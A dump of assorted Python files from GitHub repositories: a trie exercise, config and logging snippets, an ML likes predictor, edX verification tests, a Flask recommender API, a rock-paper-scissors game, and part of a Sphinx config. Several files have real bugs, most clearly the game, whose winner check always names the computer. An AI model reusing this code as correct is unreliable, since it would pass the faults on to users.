+{"seq_id":"2731776349","text":"import unittest\n\n\nclass TrieNode:\n  def __init__(self):\n    self.end_count = 0\n    self.children: {TrieNode} = {}\n\n  def isEnd(self) -> bool:\n    return self.end_count >= 1\n\n  def numberOfEnds(self) -> int:\n    return self.end_count\n\n\nclass Trie:\n\n  def __init__(self):\n    self.root = TrieNode()\n\n  def insert(self, word: str) -> None:\n    \"\"\"\n    Inserts the string {word} into the trie.\n\n    :param word: String to insert\n    \"\"\"\n    node = self.root\n    for char in word:\n      if char in node.children:\n        node = node.children[char]  # next\n      else:\n        node.children[char] = TrieNode()  # add it\n        node = node.children[char]\n    node.end_count += 1\n\n  def search(self, word: str) -> bool:\n    \"\"\"\n    Returns ``True`` if the string ``word`` is in the trie (i.e., was inserted before), and ``False`` otherwise.\n\n    :param word: The word to search for.\n    :return: True if the word is in the Trie.\n    \"\"\"\n    node = self.root\n    for char in word:\n      if char in node.children:\n        node = node.children[char]  # next\n      else:\n        return False\n    return node.isEnd()\n\n  def startsWith(self, prefix: str) -> bool:\n    \"\"\"\n    Returns ``True`` if there is a previously inserted string ``word`` that has the prefix ``prefix``, and ``False``\n    otherwise.\n\n    :param prefix: The prefix.\n    :return: True if there is a previously inserted word that has the prefix.\n    \"\"\"\n    node = self.root\n    previous_node = None\n    for char in prefix:\n      if char in node.children:\n        previous_node = node\n        node = node.children[char]  # next\n      else:\n        return False\n    return previous_node.isEnd() or self.searchForAnEnd(node)\n\n  def searchForAnEnd(self, node: TrieNode):\n    if node.isEnd(): return True\n    for char in node.children:\n      if node.children[char].isEnd():\n        return True\n      else:\n        return self.searchForAnEnd(node.children[char])\n    return False\n\n\nclass TestSolution(unittest.TestCase):\n  def setUp(self):\n    self.sol = Trie()\n\n  def test_solution(self):\n    actions = [\"Trie\", \"insert\", \"search\", \"search\", \"startsWith\", \"insert\", \"search\"]\n    data = [[], [\"apple\"], [\"apple\"], [\"app\"], [\"app\"], [\"app\"], [\"app\"]]\n    expected_outputs = [None, None, True, False, True, None, True]\n    for i, (action, datum, expected_output) in enumerate(zip(actions, data, expected_outputs)):\n      iteration = i + 1\n      if action == \"Trie\":\n        self.sol = Trie()\n      if action == \"insert\":\n        self.sol.insert(datum[0])\n      if action == \"search\":\n        self.assertEqual(expected_output, self.sol.search(datum[0]), msg=\"iteration # \" + str(iteration))\n      if action == \"startsWith\":\n        self.assertEqual(expected_output, self.sol.startsWith(datum[0]), msg=\"iteration # \" + str(iteration))\n\n\ndef main():\n  unittest.main()\n\n\nif __name__ == '__main__':\n  main()\n","repo_name":"matthewcordaro/leet-code-python","sub_path":"finished/201-500/208. Implement Trie (Prefix Tree)/trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30305244673","text":"import os\nimport csv\n\n\ndef get_aws_regions():\n    \"\"\"\n    Args:\n        os.environ['STAGE'] set to current stage of running lambda\n    returns:\n        aws_regions : List of all regions to deploy lambdas into\n    \"\"\"\n\n    with open(f\"config/{os.environ['STAGE']}/regions.csv\", 'r') as region_file:\n        csv_reader = csv.DictReader(region_file)\n        aws_regions = [line['Code'] for line in csv_reader]\n\n    return aws_regions\n\n\ndef get_packages():\n    \"\"\"\n    returns:\n        packages: list of all packages to be built\n    \"\"\"\n\n    with open(f\"config/{os.environ['STAGE']}/packages.csv\", 'r') as package_file:\n        csv_reader = csv.DictReader(package_file)\n        packages = [line['Package_Name'] for line in csv_reader]\n\n    return packages\n","repo_name":"r3sult/Klayers","sub_path":"serverless/get_config.py","file_name":"get_config.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"22428887014","text":"import logging\nfrom logging.handlers import TimedRotatingFileHandler\n\nhandler = TimedRotatingFileHandler('mylog.log', when='midnight', backupCount=5)\nformatter = logging.Formatter('%(asctime)s %(levelname)s: %(message)s')\nhandler.setFormatter(formatter)\n\nlogger = logging.getLogger()\nlogger.addHandler(handler)\nlogger.setLevel(logging.DEBUG)\n\nlogger.debug('This is a debug message')\nlogger.info('This is an info message')\n\n\nDEBUG = 0\nINFO = 1\nFATAL = 2\nERROR = 3\nCRITICAL = 4 \n\n","repo_name":"French-Austin1/Python-Cloud-3-2023","sub_path":"Day_4/examples/rotating_file_handler.py","file_name":"rotating_file_handler.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37392918543","text":"from pymongo import MongoClient\nfrom collections import deque, OrderedDict\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn import metrics\nfrom new_data_test import time_from_publish\nfrom ml_tests import train_models\n\ndef separate_likes(dic):\n    likes = deque()\n    for i in range(dic.count()):\n        likes.append(int(dic[i]['likes_count']))\n    return likes\n    # db.likes.insert({'likes': list(likes)})\n\ndef process_and_fill(dic):\n    # subscribers, shares, watch_time\n    subscribers = deque()\n    shares = deque()\n    watch_time = deque()\n    X = deque()\n    for i in range(dic.count()):\n        x = []\n        for key in dic[i]:\n            if key == 'likes' or key == 'channel_id' or key == '_id' or key == 'shares' or key == 'subscribers' or key == 'watch_time' or key == 'channel_keywords' or key == 'featured_channels' or key == 'tags':\n                continue\n            # x.append()\n        \n    X_train, X_test, y_train, y_test = train_test_split(X, y)\n    nn = MLPRegressor(hidden_layer_sizes=(100,100,), activation='relu')\n    y_nn = nn.fit(X, y).predict(X)\n    \ndef dict_to_list(dic):\n    li = ['channel_view_count', 'channel_publish', 'category_id', 'dislike_count', 'channel_keywords', 'subscribers', 'channel_comment_count', 'view_count', 'channel_subscribers', 'channel_video_count', 'comment_count', 'favorite_count', 'shares', 'daily_views', 'watch_time', 'upload_data']\n    li.sort()\n    X = []\n    for i in range(dic.count()):\n        x = []\n        for j in range(len(li)):\n            if li[j] == 'shares' or li[j] == 'subscribers' or li[j] == 'watch_time' or li[j] == 'channel_keywords' or li[j] == 'tags' or li[j] == 'daily_views':\n                continue\n            try:\n                if li[j] == 'channel_publish':\n                    x.append(int(time_from_publish(dic[i][li[j]])))\n                else:\n                    x.append(int(dic[i][li[j]]))\n            except KeyError as e:\n                print(li[j])\n        # assert len(x) == 11\n        X.append(x)\n    return X\n\n\nif __name__ == '__main__':\n    \n    client = MongoClient()\n    db = client.precog\n\n    dic = db.complete_remove.find()\n\n    # working_with_dicts(dic)\n    \n    X = dict_to_list(dic)\n    y = list(separate_likes(dic))\n\n    train_models(X,y)","repo_name":"Ridhwanluthra/youtube_likes_predictor","sub_path":"legacy/process_store_mongo.py","file_name":"process_store_mongo.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12608167763","text":"\"\"\"\nTests for the service classes in verify_student.\n\"\"\"\n\nfrom datetime import datetime, timedelta, timezone\nimport itertools\nfrom random import randint\nfrom unittest.mock import patch\n\nimport ddt\nfrom django.conf import settings\nfrom django.test import TestCase\nfrom django.utils.timezone import now\nfrom django.utils.translation import gettext as _\nfrom freezegun import freeze_time\nfrom pytz import utc\n\nfrom common.djangoapps.student.tests.factories import UserFactory\nfrom lms.djangoapps.verify_student.models import ManualVerification, SoftwareSecurePhotoVerification, SSOVerification\nfrom lms.djangoapps.verify_student.services import IDVerificationService\nfrom openedx.core.djangoapps.site_configuration import helpers as configuration_helpers\nfrom xmodule.modulestore.tests.django_utils import ModuleStoreTestCase  # lint-amnesty, pylint: disable=wrong-import-order\nfrom xmodule.modulestore.tests.factories import CourseFactory  # lint-amnesty, pylint: disable=wrong-import-order\n\nFAKE_SETTINGS = {\n    \"DAYS_GOOD_FOR\": 365,\n}\n\n\n@patch.dict(settings.VERIFY_STUDENT, FAKE_SETTINGS)\n@ddt.ddt\nclass TestIDVerificationService(ModuleStoreTestCase):\n    \"\"\"\n    Tests for IDVerificationService.\n    \"\"\"\n\n    def test_user_is_verified(self):\n        \"\"\"\n        Test to make sure we correctly answer whether a user has been verified.\n        \"\"\"\n        user = UserFactory.create()\n        attempt = SoftwareSecurePhotoVerification(user=user)\n        attempt.save()\n\n        # If it's any of these, they're not verified...\n        for status in [\"created\", \"ready\", \"denied\", \"submitted\", \"must_retry\"]:\n            attempt.status = status\n            attempt.save()\n            assert not IDVerificationService.user_is_verified(user), status\n\n        attempt.status = \"approved\"\n        attempt.save()\n        assert IDVerificationService.user_is_verified(user), attempt.status\n\n    def test_user_has_valid_or_pending(self):\n        \"\"\"\n        Determine whether we have to prompt this user to verify, or if they've\n        already at least initiated a verification submission.\n        \"\"\"\n        user = UserFactory.create()\n        attempt = SoftwareSecurePhotoVerification(user=user)\n\n        # If it's any of these statuses, they don't have anything outstanding\n        for status in [\"created\", \"ready\", \"denied\"]:\n            attempt.status = status\n            attempt.save()\n            assert not IDVerificationService.user_has_valid_or_pending(user), status\n\n        # Any of these, and we are. Note the benefit of the doubt we're giving\n        # -- must_retry, and submitted both count until we hear otherwise\n        for status in [\"submitted\", \"must_retry\", \"approved\"]:\n            attempt.status = status\n            attempt.save()\n            assert IDVerificationService.user_has_valid_or_pending(user), status\n\n    @ddt.unpack\n    @ddt.data(\n        {'enrollment_mode': 'honor', 'status': None, 'output': 'N/A'},\n        {'enrollment_mode': 'audit', 'status': None, 'output': 'N/A'},\n        {'enrollment_mode': 'verified', 'status': False, 'output': 'Not ID Verified'},\n        {'enrollment_mode': 'verified', 'status': True, 'output': 'ID Verified'},\n    )\n    def test_verification_status_for_user(self, enrollment_mode, status, output):\n        \"\"\"\n        Verify verification_status_for_user returns correct status.\n        \"\"\"\n        user = UserFactory.create()\n        CourseFactory.create()\n\n        with patch(\n            'lms.djangoapps.verify_student.services.IDVerificationService.user_is_verified'\n        ) as mock_verification:\n            mock_verification.return_value = status\n\n            status = IDVerificationService.verification_status_for_user(user, enrollment_mode)\n            assert status == output\n\n    def test_get_verified_user_ids(self):\n        \"\"\"\n        Tests for getting users that are verified.\n        \"\"\"\n        user_a = UserFactory.create()\n        user_b = UserFactory.create()\n        user_c = UserFactory.create()\n        user_unverified = UserFactory.create()\n        user_denied = UserFactory.create()\n\n        SoftwareSecurePhotoVerification.objects.create(user=user_a, status='approved')\n        ManualVerification.objects.create(user=user_b, status='approved')\n        SSOVerification.objects.create(user=user_c, status='approved')\n        SSOVerification.objects.create(user=user_denied, status='denied')\n\n        verified_user_ids = set(IDVerificationService.get_verified_user_ids([\n            user_a, user_b, user_c, user_unverified, user_denied\n        ]))\n        expected_user_ids = {user_a.id, user_b.id, user_c.id}\n\n        assert expected_user_ids == verified_user_ids\n\n    def test_get_verify_location_no_course_key(self):\n        \"\"\"\n        Test for the path to the IDV flow with no course key given\n        \"\"\"\n        path = IDVerificationService.get_verify_location()\n        expected_path = f'{settings.ACCOUNT_MICROFRONTEND_URL}/id-verification'\n        assert path == expected_path\n\n    def test_get_verify_location_from_course_id(self):\n        \"\"\"\n        Test for the path to the IDV flow with a course ID\n        \"\"\"\n        course = CourseFactory.create(org='Robot', number='999', display_name='Test Course')\n        path = IDVerificationService.get_verify_location(course.id)\n        expected_path = f'{settings.ACCOUNT_MICROFRONTEND_URL}/id-verification'\n        assert path == (expected_path + '?course_id=course-v1%3ARobot%2B999%2BTest_Course')\n\n    def test_get_verify_location_from_string(self):\n        \"\"\"\n        Test for the path to the IDV flow with a course key string\n        \"\"\"\n        path = IDVerificationService.get_verify_location('course-v1:edX+DemoX+Demo_Course')\n        expected_path = f'{settings.ACCOUNT_MICROFRONTEND_URL}/id-verification'\n        assert path == (expected_path + '?course_id=course-v1%3AedX%2BDemoX%2BDemo_Course')\n\n    def test_get_expiration_datetime(self):\n        \"\"\"\n        Test that the latest expiration datetime is returned if there are multiple records\n        \"\"\"\n        user_a = UserFactory.create()\n\n        SSOVerification.objects.create(\n            user=user_a, status='approved', expiration_date=datetime(2021, 11, 12, 0, 0, tzinfo=timezone.utc)\n        )\n        newer_record = SSOVerification.objects.create(\n            user=user_a, status='approved', expiration_date=datetime(2022, 1, 12, 0, 0, tzinfo=timezone.utc)\n        )\n\n        expiration_datetime = IDVerificationService.get_expiration_datetime(user_a, ['approved'])\n        assert expiration_datetime == newer_record.expiration_datetime\n\n    @ddt.data(\n        {'status': 'denied', 'error_msg': '[{\"generalReasons\": [\"Name mismatch\"]}]'},\n        {'status': 'approved', 'error_msg': ''},\n        {'status': 'submitted', 'error_msg': ''},\n    )\n    def test_get_verification_details_by_id(self, kwargs):\n        user = UserFactory.create()\n        kwargs['user'] = user\n        sspv = SoftwareSecurePhotoVerification.objects.create(**kwargs)\n        attempt = IDVerificationService.get_verification_details_by_id(sspv.id)\n        assert attempt.id == sspv.id\n        assert attempt.user.id == user.id\n        assert attempt.status == kwargs['status']\n        assert attempt.error_msg == kwargs['error_msg']\n\n    @ddt.data(\n        *itertools.product(\n            [SSOVerification, ManualVerification],\n            [\n                {'status': 'denied'},\n                {'status': 'approved'},\n                {'status': 'submitted'},\n            ]\n        )\n    )\n    @ddt.unpack\n    def test_get_verification_details_other_types(self, verification_model, kwargs):\n        user = UserFactory.create()\n        kwargs['user'] = user\n        model_object = verification_model.objects.create(**kwargs)\n\n        attempt = IDVerificationService.get_verification_details_by_id(model_object.id)\n        assert attempt.id == model_object.id\n        assert attempt.user.id == user.id\n        assert attempt.status == kwargs['status']\n\n    @ddt.data(\n        SoftwareSecurePhotoVerification, SSOVerification, ManualVerification\n    )\n    def test_get_verification_details_not_found(self, verification_model):\n        user = UserFactory.create()\n        model_object = verification_model.objects.create(user=user)\n        not_found_id = model_object.id + randint(100, 200)\n        attempt = IDVerificationService.get_verification_details_by_id(not_found_id)\n        assert attempt is None\n\n\n@patch.dict(settings.VERIFY_STUDENT, FAKE_SETTINGS)\n@ddt.ddt\nclass TestIDVerificationServiceUserStatus(TestCase):\n    \"\"\"\n    Tests for the IDVerificationService.user_status() function.\n    because the status is dependent on recency of\n    verifications and in order to control the recency,\n    we just put everything inside of a frozen time\n    \"\"\"\n    def setUp(self):\n        super().setUp()\n        self.user = UserFactory.create()\n\n    def test_no_verification(self):\n        with freeze_time('2014-12-12'):\n            status = IDVerificationService.user_status(self.user)\n            expected_status = {'status': 'none', 'error': '', 'should_display': True, 'verification_expiry': '',\n                               'status_date': ''}\n            self.assertDictEqual(status, expected_status)\n\n    def test_approved_software_secure_verification(self):\n        with freeze_time('2015-01-02'):\n            # test for when photo verification has been created\n            SoftwareSecurePhotoVerification.objects.create(user=self.user, status='approved')\n            status = IDVerificationService.user_status(self.user)\n            expected_status = {'status': 'approved', 'error': '', 'should_display': True, 'verification_expiry': '',\n                               'status_date': datetime.now(utc)}\n            self.assertDictEqual(status, expected_status)\n\n    def test_denied_software_secure_verification(self):\n        with freeze_time('2015-2-02'):\n            # create denied photo verification for the user, make sure the denial\n            # is handled properly\n            SoftwareSecurePhotoVerification.objects.create(\n                user=self.user, status='denied', error_msg='[{\"photoIdReasons\": [\"Not provided\"]}]'\n            )\n            status = IDVerificationService.user_status(self.user)\n            expected_status = {\n                'status': 'must_reverify', 'error': ['id_image_missing'],\n                'should_display': True, 'verification_expiry': '', 'status_date': '',\n            }\n            self.assertDictEqual(status, expected_status)\n\n    def test_approved_sso_verification(self):\n        with freeze_time('2015-03-02'):\n            # test for when sso verification has been created\n            SSOVerification.objects.create(user=self.user, status='approved')\n            status = IDVerificationService.user_status(self.user)\n            expected_status = {'status': 'approved', 'error': '', 'should_display': False, 'verification_expiry': '',\n                               'status_date': datetime.now(utc)}\n            self.assertDictEqual(status, expected_status)\n\n    def test_denied_sso_verification(self):\n        with freeze_time('2015-04-02'):\n            # create denied sso verification for the user, make sure the denial\n            # is handled properly\n            SSOVerification.objects.create(user=self.user, status='denied')\n            status = IDVerificationService.user_status(self.user)\n            expected_status = {\n                'status': 'must_reverify', 'error': '', 'should_display': False,\n                'verification_expiry': '', 'status_date': ''\n            }\n            self.assertDictEqual(status, expected_status)\n\n    def test_manual_verification(self):\n        with freeze_time('2015-05-02'):\n            # test for when manual verification has been created\n            ManualVerification.objects.create(user=self.user, status='approved')\n            status = IDVerificationService.user_status(self.user)\n            expected_status = {'status': 'approved', 'error': '', 'should_display': False, 'verification_expiry': '',\n                               'status_date': datetime.now(utc)}\n            self.assertDictEqual(status, expected_status)\n\n    @ddt.data(\n        'submitted',\n        'denied',\n        'approved',\n        'created',\n        'ready',\n        'must_retry'\n    )\n    def test_expiring_software_secure_verification(self, new_status):\n        with freeze_time('2015-07-11') as frozen_datetime:\n            # create approved photo verification for the user\n            SoftwareSecurePhotoVerification.objects.create(user=self.user, status='approved')\n            expiring_datetime = datetime.now(utc)\n            frozen_datetime.move_to('2015-07-14')\n            # create another according to status passed in.\n            SoftwareSecurePhotoVerification.objects.create(user=self.user, status=new_status)\n            status_date = expiring_datetime\n            if new_status == 'approved':\n                status_date = datetime.now(utc)\n            expected_status = {'status': 'approved', 'error': '', 'should_display': True, 'verification_expiry': '',\n                               'status_date': status_date}\n            status = IDVerificationService.user_status(self.user)\n            self.assertDictEqual(status, expected_status)\n\n    def test_expired_verification(self):\n        with freeze_time('2015-07-11') as frozen_datetime:\n            # create approved photo verification for the user\n            SoftwareSecurePhotoVerification.objects.create(\n                user=self.user,\n                status='approved',\n                expiration_date=now() + timedelta(days=settings.VERIFY_STUDENT[\"DAYS_GOOD_FOR\"])\n            )\n            frozen_datetime.move_to('2016-07-11')\n            expected_status = {\n                'status': 'expired',\n                'error': _(\"Your {platform_name} verification has expired.\").format(\n                    platform_name=configuration_helpers.get_value('platform_name', settings.PLATFORM_NAME)\n                ),\n                'should_display': True,\n                'verification_expiry': '',\n                'status_date': ''\n            }\n            status = IDVerificationService.user_status(self.user)\n            self.assertDictEqual(status, expected_status)\n\n    @ddt.data(\n        'submitted',\n        'denied',\n        'approved',\n        'created',\n        'ready',\n        'must_retry'\n    )\n    def test_reverify_after_expired(self, new_status):\n        with freeze_time('2015-07-11') as frozen_datetime:\n            # create approved photo verification for the user\n            SoftwareSecurePhotoVerification.objects.create(\n                user=self.user,\n                status='approved',\n                expiration_date=now() + timedelta(days=settings.VERIFY_STUDENT[\"DAYS_GOOD_FOR\"])\n            )\n            frozen_datetime.move_to('2016-07-12')\n            # create another according to status passed in.\n            SoftwareSecurePhotoVerification.objects.create(\n                user=self.user,\n                status=new_status,\n                expiration_date=now() + timedelta(days=settings.VERIFY_STUDENT[\"DAYS_GOOD_FOR\"])\n            )\n\n            check_status = new_status\n            status_date = ''\n            if new_status in ('submitted', 'must_retry'):\n                check_status = 'pending'\n            elif new_status in ('created', 'ready'):\n                check_status = 'none'\n            elif new_status == 'denied':\n                check_status = 'must_reverify'\n            else:\n                status_date = now()\n\n            expected_status = {'status': check_status, 'error': '', 'should_display': True, 'verification_expiry': '',\n                               'status_date': status_date}\n            status = IDVerificationService.user_status(self.user)\n            self.assertDictEqual(status, expected_status)\n\n    @ddt.data(\n        SSOVerification,\n        ManualVerification\n    )\n    def test_override_verification(self, verification_type):\n        with freeze_time('2015-07-11') as frozen_datetime:\n            # create approved photo verification for the user\n            SoftwareSecurePhotoVerification.objects.create(\n                user=self.user,\n                status='approved',\n                expiration_date=now() + timedelta(days=settings.VERIFY_STUDENT[\"DAYS_GOOD_FOR\"])\n            )\n            frozen_datetime.move_to('2015-07-14')\n            verification_type.objects.create(\n                user=self.user,\n                status='approved',\n                expiration_date=now() + timedelta(days=settings.VERIFY_STUDENT[\"DAYS_GOOD_FOR\"])\n            )\n            expected_status = {\n                'status': 'approved', 'error': '', 'should_display': False,\n                'verification_expiry': '', 'status_date': now()\n            }\n            status = IDVerificationService.user_status(self.user)\n            self.assertDictEqual(status, expected_status)\n\n    def test_denied_after_approved_verification(self):\n        with freeze_time('2015-07-11') as frozen_datetime:\n            # create approved photo verification for the user\n            SoftwareSecurePhotoVerification.objects.create(\n                user=self.user,\n                status='approved',\n                expiration_date=now() + timedelta(days=settings.VERIFY_STUDENT[\"DAYS_GOOD_FOR\"])\n            )\n            expected_date = now()\n            frozen_datetime.move_to('2015-07-14')\n            SoftwareSecurePhotoVerification.objects.create(\n                user=self.user,\n                status='denied',\n                expiration_date=now() + timedelta(days=settings.VERIFY_STUDENT[\"DAYS_GOOD_FOR\"])\n            )\n            expected_status = {\n                'status': 'approved', 'error': '', 'should_display': True,\n                'verification_expiry': '', 'status_date': expected_date\n            }\n            status = IDVerificationService.user_status(self.user)\n            self.assertDictEqual(status, expected_status)\n","repo_name":"openedx/edx-platform","sub_path":"lms/djangoapps/verify_student/tests/test_services.py","file_name":"test_services.py","file_ext":"py","file_size_in_byte":17963,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"17088938583","text":"\"\"\"\r\n@ Teaching ML students to create API for our (Similarity)Personalized model\r\nby: Chandi Bhandari\r\nWe have used the data from:songCount: https://static.turi.com/datasets/millionsong/10000.txt\r\n                           SongsInfo: https://static.turi.com/datasets/millionsong/song_data.csv\r\n\"\"\"\r\nimport sys\r\nsys.path.append('C:\\\\User\\pande\\Documents\\Python_packages')\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom flask import Flask, request, jsonify\r\nfrom flask import render_template, make_response\r\n# import the module that we created for popularity recommendation\r\nimport PersonalizedRecommender as personalizedRecEng\r\npersonalized_model = personalizedRecEng.personalizedRecommendation()\r\n\r\n# loading data\r\n# with open('data/Song_listener.txt') as f:\r\n#     Listener_count = f.read()\r\n# f.closed\r\n# Listener_count = pd.read_table(Listener_count, header =None)\r\n#Listener_count.columns =['userId', 'songId', 'count_listen']\r\n\r\n# Loading Lister count data\r\nLister_count_dataPath ='data/Song_listener.txt'\r\ncolumn_names =['userId', 'songId', 'count_listen']\r\nListener_count = pd.read_csv(Lister_count_dataPath, sep='\\t', names =column_names)\r\n\r\n# Loading the songs information\r\nsong_data_path = 'data/song_data.csv'\r\nsong_data = pd.read_csv(song_data_path)\r\nsong_data.rename(columns ={'song_id':'songId'}, inplace=True)\r\nsong_data.drop_duplicates(['songId'])\r\n\r\n\r\n# Merging the data set with songId\r\nfull_data = pd.merge(Listener_count, song_data, on='songId', how='left')\r\n# merge the title and artist\r\nfull_data['song'] = full_data['title'].map(str)+\"-\"+full_data['artist_name']\r\nfull_data = full_data[['userId', 'songId','song' , 'count_listen']]\r\nprint(\" \")\r\nprint(full_data.head())\r\n\r\n# separate the data for Train and Test_purpose\r\ndata, TestData = train_test_split(full_data,test_size=0.20, random_state=1)\r\n\r\n\r\n# Get the unique values\r\nuniqueValues = personalized_model.uniqueValues(full_data)\r\nprint(uniqueValues)\r\n\r\n# since the id are too long we can provide the index\r\nusers = data.userId.unique()\r\nSong_id = data.songId.unique()\r\nSongs = data.songId.unique()\r\n\r\n# create the table\r\npersonalized_model.create_table(data, 'userId', 'song')\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/note', methods=['GET', 'POST'])\r\ndef index():\r\n    return \"Hello this is popularity Based Recommender\"\r\n\r\n\r\n@app.route('/personalized_recommender', methods=['POST'])\r\ndef personalized_recommender():\r\n    print(\"Recommendation started\")\r\n    personalized_songs =[]\r\n    req = request.get_json()\r\n    # if userId itself is given\r\n    userId = req['userId']\r\n    # if userId location index is given\r\n    # userId = users[req[\"userId_place\"]]\r\n    K = req['K']\r\n    usersSong = personalized_model.get_user_item(userId)\r\n    print(f'The users {K} songs are: \\n', usersSong[:K])\r\n    print(f'Recommended  Top {K} personalized songs for {userId} are: \\n')\r\n    recommended_songs = personalized_model.recommend(userId)\r\n    # for the song id\r\n    print(recommended_songs.columns)\r\n    personalized_songs.append(recommended_songs['song'].tolist())\r\n    print(f'personalized songs for user: {userId}')\r\n    print(personalized_songs[0][0:K])\r\n    return jsonify({\"Songs\":personalized_songs[0][0:K]})\r\n\r\n@app.route('/itemSimilarity_recommender', methods=['POST'])\r\ndef itemSimilarity_recommender():\r\n    print(\"Recommendation started\")\r\n    similar_songs =[]\r\n    req = request.get_json()\r\n    # if song itself is given\r\n    song = req['songName']\r\n    song = [song]\r\n    # if song location index is given SimilarSongRecommendation\r\n    #song = Songs[req[\"songName_place\"]]\r\n    K = req['K']\r\n    recommended_songs = personalized_model.SimilarSongRecommendation(song)\r\n    # for the song id\r\n    #most_popular_songs.append(recommended_songs['songId'].tolist())\r\n    similar_songs.append(recommended_songs['song'].tolist())\r\n    print('Recommended similar song for %s'%song)\r\n    print(similar_songs)\r\n    print(f'Recommended  Top {K} similar songs for {song} are: \\n')\r\n    print(similar_songs[0][0:K])\r\n    return jsonify({\"Songs\":similar_songs[0][0:K]})\r\n\r\nif __name__ =='__main__':\r\n    app.run(debug=True, threaded=False)\r\n\r\n\r\n\r\n","repo_name":"chandibhandari1/RecommendationEngine","sub_path":"JaccardSimilarity_CooccuranceMatrix/PersonalizedRecAPI.py","file_name":"PersonalizedRecAPI.py","file_ext":"py","file_size_in_byte":4172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70530810643","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# The above lines tell the shell to use python as interpreter when the\n# script is called directly, and that this file uses utf-8 encoding,\n# because of the country specific letter in my surname.\n\"\"\"\nName: Program 12 \"Rock, Paper, Scissors Game\"\nAuthor: Martin Bo Kristensen Grønholdt.\nVersion: 1.0 (2017-01-10)\n\nRock, Paper, Scissors Game against the awesome AI that is the \"random\" number\ngenerator.\n\"\"\"\nimport random\n\n\ndef computerChoice():\n    \"\"\"\n    Get the computer's choice.\n\n    :return: Rock = 1, Paper = 2, Scissors = 3\n    \"\"\"\n    return (random.randrange(1, 3))\n\n\ndef userChoice():\n    \"\"\"\n    Get the user's choice.\n\n    :return: A string with the users choice\n    \"\"\"\n    # Get the users choice and convert to lower case, to catch some more\n    # permutations.\n    return (input('Input a choice of rock, paper, scissors: ').lower())\n\ndef getWinner(computer, user):\n    \"\"\"\n    Find a winner.\n\n    :param computer: The computers object choice.\n    :param user: The users object choice.\n    :return: Computer og You or None depending on who wins.\n    \"\"\"\n    #No one wins by default.\n    winner = None\n\n    # Computer chooses rock, user scissors, computer wins\n    if computer == 1 and user == 3:\n        winner = 'Computer'\n    # Computer chooses scissors, user paper, computer wins\n    if computer == 3 and user == 2:\n        winner = 'Computer'\n    # Computer chooses paper, user rock, computer wins\n    if computer == 2 and user == 1:\n        winner = 'Computer'\n\n    # User chooses rock, computer scissors, computer wins\n    if user == 1 and computer == 3:\n        winner = 'Computer'\n    # User chooses scissors, computer paper, computer wins\n    if user == 3 and computer == 2:\n        winner = 'Computer'\n    # User chooses paper, computer rock, computer wins\n    if user == 2 and computer == 1:\n        winner = 'Computer'\n\n    return winner\n\n\ndef main():\n    '''\n    Program main entry point.\n    '''\n    # Crate a lookup list for the object types.\n    objectNumbers = {1: 'rock', 2: 'paper', 3: 'scissors'}\n    objectStrings = {'rock': 1, 'paper': 2, 'scissors': 3}\n\n    winner = None\n    # Repeat until someone wins.\n    while winner is None:\n        # Get computers choice.\n        computerObject = computerChoice()\n        # Get users choice and convert it into a number.\n        try:\n            userObject = objectStrings[userChoice()]\n        except KeyError:\n            # Complain when something unexpected was entered.\n            print('\\nPlease input either rock, paper, or scissors.')\n            exit(1)\n\n        print(\"The computer's choice is: {}\".format(objectNumbers[computerChoice()]))\n\n        winner = getWinner(computerObject, userObject)\n        if winner is None:\n            print('\\nNo winner, have another go...\\n')\n\n    print('\\nThe winner is: {}!'.format(winner))\n\n\n\n# Run this when invoked directly\nif __name__ == '__main__':\n    main()\n","repo_name":"deadbok/eal_programming","sub_path":"Assignment 5/prog12.py","file_name":"prog12.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"149938557","text":"# -*- coding: utf-8 -*-\n#\n# pytng documentation build configuration file, created by\n# sphinx-quickstart on Tue May 23 16:00:46 2017.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\nimport os\nimport sys\nimport pytng\nsys.path.insert(0, os.path.abspath('../../'))\n\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\n# needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n    'sphinx.ext.autodoc',\n    'sphinx.ext.napoleon',\n    'sphinx.ext.githubpages',\n    'sphinx_sitemap',\n]\n\n# for sitemap with https://github.com/jdillard/sphinx-sitemap\nsite_url = \"https://www.mdanalysis.org/pytng/\"\nsitemap_url_scheme = \"{link}\"\n\n# Add any paths that contain templates here, relative to this directory.\n# templates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = u'pytng'\nauthor = u'Max Linke, Richard J Gowers, Hugo MacDermott-Opeskin'\ncopyright = u'2017-2023, ' + author\n\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = pytng.__version__\n# The full version, including alpha/beta/rc tags.\nrelease = pytng.__version__\n\n# The language for content autogenerated by Sphinx. 